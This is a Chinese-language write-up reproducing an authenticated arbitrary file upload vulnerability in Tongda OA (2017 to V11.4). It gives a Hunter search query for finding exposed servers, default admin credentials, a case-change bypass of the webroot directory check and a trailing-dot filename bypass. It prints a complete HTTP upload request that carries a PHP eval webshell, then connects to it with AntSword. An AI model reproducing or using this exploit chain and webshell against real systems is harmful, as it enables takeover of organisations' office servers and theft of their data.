登录 白背景

通达OA module存在后台任意文件上传漏洞

一、漏洞简介

<font style="color:rgba(0, 0, 0, 0.9);">通达OA是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,后台个人文件柜处/module/upload/upload.php存在任意文件上传漏洞,用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。</font>

二、影响版本

  • <font style="color:rgba(0, 0, 0, 0.9);">通达OA 2017-通达OA V 11.4</font>

<font style="color:rgb(77, 77, 77);">三、资产测绘</font>

  • <font style="color:rgb(77, 77, 77);">hunter</font><font style="color:rgb(77, 77, 77);">app.name="通达 OA"</font>

1692175272185-2e2eccad-00b6-4598-a978-54d5b591d45a.png

  • <font style="color:rgb(77, 77, 77);">登录页面</font>

1692175288340-990aa042-3b09-4cd8-8ae2-c55104f1b974.png

<font style="color:rgba(0, 0, 0, 0.9);">四、漏洞复现</font>

1、使用默认密码admin,密码为空或采用通达OA任意用户登录登录后台;

1683387160692-68b96b0e-ece1-4182-9c8c-3547689af283.png

2、点击系统管理->系统参数设置->OA服务设置,找到网站根目录:D:MYOAwebroot;

1683387181275-5e4abbe8-17fc-4221-aefc-413b0bf2195c.png

3、点击系统管理->附件管理->添加存储目录,设置附件上传目录为网站根目录:

存储目录设置为Webroot目录,标识id为100-255的整数,勾选将所有新附件存至该目录,描述随意:

⚠️注意:在11.2以上版本会检测存储目录是否包含webroot关键词检测,所以采用大小写绕过:D:MYOAwebrooT;

1683387208135-6781d1bf-4da4-4c25-9fbd-d40ae7f1a4fe.png

1683387212651-70137fc5-d07d-4d2a-b9c6-12fa5392cf40.png

  1. 快捷菜单-个人文件柜-新建文件-在编辑器“多图上传”处上传图片

1689258057182-c2a28d6e-15c8-45a0-a998-7aea7d347227.png

  1. <font style="color:rgba(0, 0, 0, 0.9);">修改文件名为“shell.php.”,利用windows的特性绕过黑名单上传php脚本文件</font>,上传数据包如下:
POST /module/upload/upload.php?encode=utf-8 HTTP/1.1
Host: xx.xx.xx.xx:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------296004247523879430461279754861
Content-Length: 1273
Origin: http://xx.xx.xx.xx:81
Connection: close
Referer: http://1.14.47.145:81/module/ueditor/dialogs/image/image.html
Cookie: USER_NAME_COOKIE=admin; SID_1=f46a75ea; OA_USER_ID=admin; PHPSESSID=r0jrqh0gmtvabe4qpmmvm7lar4

-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="id"

WU_FILE_0
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="name"

shell.jpg
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="type"

image/jpeg
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="lastModifiedDate"

2023/5/9 11:29:05
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="size"

444
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="file"; filename="shell.php."
Content-Type: image/jpeg

<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['x']);?>

-----------------------------296004247523879430461279754861--

1689258201348-fec49cbb-8bdb-4e6f-a3fe-43ff63d181ff.png

<font style="color:rgba(0, 0, 0, 0.9);">6、得到响应数据包,根据响应拼接webshell地址:</font>

http://192.168.31.154/upload_temp/2307/247860724.shell.php

<font style="color:rgb(89, 89, 89);">使用蚁剑成功连接getshell:</font>

1689258226980-152f98a0-7db5-4c63-99f8-90e42600729d.png

原文: https://www.yuque.com/xiaokp7/ocvun2/zmnq6p3er40n1w3o